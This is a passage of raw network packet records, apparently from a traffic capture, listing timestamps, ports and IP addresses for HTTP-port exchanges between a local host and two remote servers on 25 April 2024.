Apr 25, 2024 21:48:11.901542902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.906351089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.906392097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.114264011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:12.251157999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:12.251271963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.256576061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.256589890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.465780973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:12.465805054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:12.591479063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:12.591536999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.637974977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.638022900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.845732927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:12.845825911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:12.985506058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:12.985635996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.990716934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:12.990755081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:13.198543072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:13.332916021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:13.332983971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:13.343991995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:13.344116926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:13.551889896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:13.551970005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:13.683957100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:13.684040070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:13.690362930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:13.690428019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:13.898257017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:14.042269945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:14.042345047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.049510956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.049547911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.257406950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:14.392426014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:14.392492056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.398240089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.398277044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.606198072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:14.606219053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:14.742707014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:14.742829084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.749849081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.749891996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:14.957748890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:15.090174913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:15.093401909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:15.102798939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:15.102829933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:15.310708046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:15.310729027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:15.460973978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:15.461040020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:15.468007088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:15.468045950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:15.675718069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:15.675800085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:15.810863018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:15.810964108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:15.817133904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:15.817174911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.024861097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.025038004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.158664942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.158854961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.164426088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.164455891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.372082949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.372245073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.496578932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.496679068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.502682924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.502717972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.710335016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.710356951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.710395098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.847330093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:16.847431898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.852242947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:16.852272034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.059941053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.059962988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.059978008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.202811003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.202866077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.219513893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.219544888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.427289963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.427309036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.554611921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.554677010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.559916973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.559948921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.767946959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.768075943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.768114090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.897411108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:17.897516012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.902352095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:17.902395964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.110050917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.110129118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.247507095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.247570038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.253458977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.253479958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.461306095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.461330891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.461492062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.593750000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.593923092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.608123064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.608158112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.815882921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.815901041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.945203066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:18.945266008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.950208902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:18.950241089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:19.157988071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.158019066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.158026934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.294708014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.294800997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:19.301080942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:19.301120996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:19.508814096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.508857012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.645550013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.645714998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:19.651315928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:19.651354074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:19.859047890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.859061003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.993994951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:19.994241953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.000247002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.000273943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.209271908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.209374905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.209386110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.339421034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.339559078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.345803022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.345854998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.553903103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.553915977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.685750008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.685806990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.690934896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.690978050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:20.898595095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.898619890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:20.898629904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.033729076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.033816099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.038868904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.038917065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.247301102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.247678995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.247780085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.382611990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.382720947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.388448954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.388485909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.596920967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.596940994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.720858097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.721031904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.726955891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.726994991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:21.934948921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.934961081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:21.935007095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:22.075661898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:22.075794935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:22.082195997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:22.082231998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:22.289897919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:22.289927959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:22.289942026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:22.427367926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:22.427508116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:22.460846901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:22.668586016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:22.797923088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:22.798018932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.086088896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.086241961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.086304903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.086333990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.293862104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294083118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.294177055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294225931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294229984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.294239044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294275045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.294291973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.294616938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294658899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.294876099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294888020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294929981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.294951916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294962883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294972897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294981956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.294994116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.295021057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.295049906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.295067072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295078039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295085907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295097113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295106888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295109034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:23.295116901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295140982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295165062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295213938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295239925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295264006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295383930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295408964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295459032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295474052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295512915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295522928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295577049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295746088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295883894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295895100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295905113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295928001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.295974016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296127081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296173096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296222925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296367884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296428919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296439886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296489954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296547890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296662092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296673059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296725988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296781063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296830893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296849966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296873093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296928883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.296941042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297009945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297051907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297091961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297132969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297161102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297250032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297353983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297364950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297415972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297426939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297466040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297480106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297555923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.297596931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.501867056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.501966953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.501976967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502022028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502049923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502108097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502120018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502377987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502557993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502645969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502656937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502811909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502823114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502852917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502897024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502939939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502949953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.502959967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503000021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503011942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503102064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503113985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503123045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503174067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503189087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503211021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503228903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503294945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503367901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503474951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503484964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503549099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.503559113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.796485901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:23.796557903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:25.533157110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:25.740981102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:25.870182991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:25.870313883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:25.873512030 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.084340096 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.084462881 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.084661007 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.295370102 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.295867920 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.295881033 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.295892954 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.295943022 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.295974970 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.296015024 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.296027899 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.296057940 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.296070099 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.296211004 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.296224117 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.296235085 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.296262980 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.296277046 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.296397924 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.296411037 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.296452045 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.506699085 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506715059 CEST	80	49713	185.172.128.203	192.168.2.5
